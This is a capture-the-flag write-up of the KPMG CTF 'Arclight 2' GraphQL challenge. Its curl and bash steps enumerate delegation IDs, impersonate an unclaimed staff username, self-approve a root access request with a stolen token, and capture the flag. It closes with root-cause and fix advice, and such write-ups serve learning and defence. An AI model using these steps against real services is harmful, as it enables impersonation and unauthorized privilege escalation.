Arclight 2: GraphQL Privilege Escalation (Username Impersonation + Delegation IDOR)
On this page
Flag: KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}
Target: http://kicyber-eb9b9d1d5760-arclight2-0-0.chals.io Category: API (GraphQL) / broken authentication + broken object-level authorization → privilege escalation Hint (from KPMG CTF): “Standard access only gets you so far at Arclight. Getting the rest is your problem ¯\_(ツ)_/¯”
Overview
Arclight 2 is the sequel to Arclight 1: same Flask + GraphQL stack, but now the flag lives
behind a rootVault query that is “root tier only”. A fresh account gets role: standard.
Getting to root chains two flaws:
- Identity is the username string, and
/registerlets you choose any username. Thedelegationquery authorizes by comparing the delegation’sownerto your session username. Directory staff names (e.g.k.mercer) have no login account, so you can just register the usernamek.mercerand become, for authorization purposes, that person. - The access-request/approval workflow is self-approvable. With a privileged delegation
token in hand (stolen via #1), you file a
rootaccess request for yourself and approve it using that token as “sponsor”. The server then re-issues your session cookie withrole: root, with no check that the sponsor delegation belongs to someone other than the requester.
With role: root in the cookie, rootVault hands over the flag.
Recon
1. Register, log in, read the console
base="http://kicyber-eb9b9d1d5760-arclight2-0-0.chals.io"
U="hunter_7830"; P="<password>"
curl -s -c cj.txt -b cj.txt -X POST "$base/register" --data "username=$U&password=$P" -o /dev/null
curl -s -i -c cj.txt -b cj.txt -X POST "$base/login" --data "username=$U&password=$P" | grep -i set-cookie
Output:
Set-Cookie: session=eyJyb2xlIjoic3RhbmRhcmQiLCJ1c2VybmFtZSI6Imh1bnRlcl83ODMwIn0...; HttpOnly; Path=/
The Flask session base64-decodes to {"role":"standard","username":"hunter_7830"}.
/dashboard points at /static/ops.js, which documents the entire API:
// query { me { username role } }
// query { staff(id: Int) { id username team } }
// query { delegation(id: Int) { id owner tier token } } // owner-only
// mutation { createAccessRequest(tier: String) { id requester tier status } }
// mutation { approveRequest(id: Int, sponsor: String) { id status } }
// query { rootVault } // root tier only
//
// access flow: file a request, then it has to be approved against a privileged delegation.
2. Baseline GraphQL state
gq(){ curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' --data "{\"query\":\"$1\"}"; echo; }
gq '{ me { username role } }'
gq '{ rootVault }'
for i in 1 2 3 4 5; do gq "{ staff(id: $i) { id username team } }"; done
Output:
{"data":{"me":{"role":"standard","username":"hunter_7830"}}}
{"data":{"rootVault":null},"errors":[{"message":"root access required"}]}
staff 1 -> {"id":1,"team":"platform","username":"k.mercer"}
staff 2 -> {"id":2,"team":"support","username":"t.okafor"}
staff 3 -> {"id":3,"team":"design","username":"j.vance"}
staff 4,5 -> null
Introspection is fully disabled:
gq '{ __schema { types { name } } }'
# {"errors":[{"message":"GraphQL introspection has been disabled..."}]}
Finding the privileged delegation
3. delegation is an IDOR oracle
delegation(id) returns null for our standard session at low IDs, but a wide sweep exposes an
error that distinguishes existing-but-unowned delegations from non-existent ones:
for i in $(seq -5 60) 100 101 102 1000 5001; do
r=$(gq "{ delegation(id: $i) { id owner tier token } }")
[ "$r" != '{"data":{"delegation":null}}' ] && echo "id=$i: $r"
done
Output:
id=101: {"data":{"delegation":null},"errors":[{"message":"forbidden: not your delegation"}]}
id=102: {"data":{"delegation":null},"errors":[{"message":"forbidden: not your delegation"}]}
So delegations 101 and 102 exist; the owner-check blocks us. The error (forbidden)
vs. silent null is a classic enumeration oracle.
4. Become the owner by registering their username
Authorization is delegation.owner == session.username. The staff names come straight from the
staff query. Testing which are real login accounts:
for name in k.mercer t.okafor j.vance; do
code=$(curl -s -o /dev/null -w "%{http_code}" -c /dev/null -X POST "$base/register" \
--data "username=$name&password=<password>")
echo "$name -> $code" # 302 = registered OK, 200 = already taken
done
Output:
k.mercer -> 302 # registered successfully (no prior login account!)
t.okafor -> 200 # already taken (seeded)
j.vance -> 302 # registered successfully
k.mercer, the platform staffer, had no account, so I registered it, logged in as
k.mercer, and read the delegations:
curl -s -c km.txt -b km.txt -X POST "$base/login" --data "username=k.mercer&password=<password>" -o /dev/null
kgq(){ curl -s -b km.txt -X POST "$base/graphql" -H 'Content-Type: application/json' --data "{\"query\":\"$1\"}"; echo; }
kgq '{ delegation(id: 101) { id owner tier token } }'
Output:
{"data":{"delegation":{"id":101,"owner":"k.mercer","tier":"root","token":"5ac48b621a0373d1"}}}
A root-tier delegation token: 5ac48b621a0373d1.
Privilege escalation → the flag
5. File a root request and self-approve with the stolen token
Back in my own hunter_7830 session. The approval is the step that matters: capture its
response headers, because the server re-issues the session cookie:
TOKEN="5ac48b621a0373d1"
# file the request
gq 'mutation { createAccessRequest(tier: \"root\") { id requester tier status } }'
# -> {"data":{"createAccessRequest":{"id":5004,"requester":"hunter_7830","status":"pending","tier":"root"}}}
# approve it, keeping response headers + updating the cookie jar
curl -s -i -c cj.txt -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
--data "{\"query\":\"mutation { approveRequest(id: 5004, sponsor: \\\"$TOKEN\\\") { id status } }\"}" \
| grep -i -E "set-cookie|approveRequest"
Output:
Set-Cookie: session=eyJyb2xlIjoicm9vdCIsInVzZXJuYW1lIjoiaHVudGVyXzc4MzAifQ...; HttpOnly; Path=/
{"data":{"approveRequest":{"id":5004,"status":"approved"}}}
The new cookie decodes to {"role":"root","username":"hunter_7830"}: approval silently
elevated my own session to root.
Note: the elevation lives in the
Set-Cookieon theapproveRequestresponse. Approving without persisting that cookie (or re-logging in afterward) drops you back tostandard; the role is never written to the user record, only re-stamped into the signed session.
6. Read the vault (SOLVED)
gq '{ me { username role } }'
gq '{ rootVault }'
Output:
{"data":{"me":{"role":"root","username":"hunter_7830"}}}
{"data":{"rootVault":"KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}"}}
Flag: KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}
Why it works
- Username is treated as identity. The
delegationresolver authorizes by string-matchingowner == session.username, and registration imposes no reservation of directory/staff names. Registeringk.mercermakes you k.mercer for every username-based check. - The enumeration oracle (
forbiddenfor real IDs,nullfor missing ones) pinpointed the delegations without any introspection. - Self-approval.
approveRequestonly checks thatsponsoris a privileged delegation token, not that it belongs to someone other than the requester, nor that the caller is authorized to wield it. Any leaked root token lets you approve your own root request. - Elevation via re-stamped session. Approval re-signs your cookie with the granted tier, so escalation is immediate and entirely client-side thereafter.
Root cause & fix
Broken authentication + broken function/object-level authorization (OWASP API1/API5):
- Separate identity from mutable display names. Authorize on a stable, server-controlled user
ID, never on a user-chosen username; reserve/claim directory identities so
k.mercercan’t be registered by an outsider. - Authorize the sponsor, not just validate it.
approveRequestmust verify the sponsor delegation belongs to a different, authorized approver and that the caller legitimately holds it. Enforce separation of duties (requester ≠ approver). - Don’t return secret tokens from the
delegationquery at all; approvals should reference a delegation by ID server-side, never require the client to echo a bearer token. - Treat the enumeration oracle as a bug: return identical responses for “not found” and “forbidden”.
Takeaways
- When auth keys on a username and the app has open registration, try registering the privileged identity: directory/staff names that were never real login accounts are prime targets.
- A
forbiddenvs.null(or 403 vs. 404) difference is an enumeration oracle; sweep IDs to map hidden objects even with introspection off. - Watch the response headers on mutations: privilege changes often ride in a re-issued
Set-Cookie, and the escalation vanishes if you don’t persist it. - Approval/”four-eyes” workflows are worth probing for self-approval; missing requester-≠-approver separation is a common logic bug.